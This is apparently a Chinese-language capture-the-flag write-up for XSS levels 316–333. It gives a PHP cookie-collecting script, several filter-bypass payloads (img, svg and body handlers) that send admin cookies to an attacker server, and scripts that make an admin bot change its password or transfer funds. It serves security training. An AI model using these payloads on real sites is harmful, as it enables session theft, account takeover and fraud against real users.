316<script>

<script>alert('1');</script>

页面弹窗,说明存在反射型XSS,这关的flag藏在admin管理员的cookie中,先启服务,写入一个接收Cookie的脚本在本地服务器

<?php
echo 'hello';
if(isset($_GET['cookie'])) {
    $cookie = $_GET['cookie'];
    
    // 过滤和清理用户输入
    $cookie = htmlspecialchars($cookie); // 过滤特殊字符
    // 其他可能的过滤和验证
 
    // 写入文件
    $myfile = fopen('cookie.txt', 'a');
    if ($myfile !== false) {
        fwrite($myfile, $cookie."\n");
        fclose($myfile);
        echo 'Cookie 已成功写入文件。';
    } else {
        echo '无法打开文件进行写入。';
    }
} else {
    echo '未提供 cookie 数据。';
}
?>
python3 -m http.server 7777
<script>window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie</script>

317<body>

过滤<script>,用img标签绕过过滤,<img src=1 onerror=alert(1)>或者<image src=1 onerror=alert(1)><body οnlοad="alert(1)">,body标签

<body onload="window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie">

318<svg>

<svg onload="window.open('vps?cookie='+document.cookie)">

319

过滤了body

但是过一会又可以出,用svg就行

320-326

过滤空格,用/代替即可

<svg/onload="window.open('http://vps:7777/cookie.php?cookie='+document.cookie)">

<body/onload="window.location.href='http://vps:7777/cookie.php?cookie='+document.cookie">

327

收件人一定要是admin

328

有一个登陆界面

用户管理界面提示不是admin,想到拿admin的Cookie伪造管理员,可以在注册的地方,用户名出进行xss攻击

<script>window.open('http://vps:7777/cookie.php?cookie='+document.cookie)</script>

<svg/onload="window.open('http://vps:7777/cookie.php?cookie='+document.cookie)">
<svg/onload="window.location.href='http://http://vps:7777/cookie.php?cookie='+document.cookie">

拿到cookie,更改即可,其中空白处就是xss

329

跟上题一样,拿管理员的cookie,但是cookie一直在变,改不了

可以查看密码的类名

<script>window.open('http://vps:port/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML 这是一系列 DOM 操作,用于获取网页中特定元素的内容。

330

随便注册再登陆,在修改密码时候抓一个包,发现调用了/api/change.php?p=123

就是说只要访问/api/change.php?p=123,就会修改密码

那我们是不是注册一个账号可以指向/api/change.php?p然后管理员访问这个账号信息就自动把密码改了呢

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

要等一会,让bot访问好了,再去登录,这时候会出现一种情况,我们在管理员账号上一点击用户管理,立马跳转到api,来不及复制flag。这是因为我们的XSSpayload是一个用户账号,管理员每次访问用户管理都会解析它。只要抓包就行

331

先看修改密码的包

可以看到改成了,POST方式,访问change.php

<script>$.ajax({url:"api/change.php",method:"POST",data:{'p':'123'}})</script>

332-333

这题是购买flag,先注册账号

1.给admin转账

给admin转-10000即可,相当于给我们转

2.让admin给我们转账

抓转账的包

跟上一题思路一样,先注册一个用户,让admin查看后自动给我们转账

<script>$.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'123',a:'10000'}})</script>

333就不能转账负数了,让admin给我们转就行

此作者没有提供个人介绍。
最后更新于 2025-07-24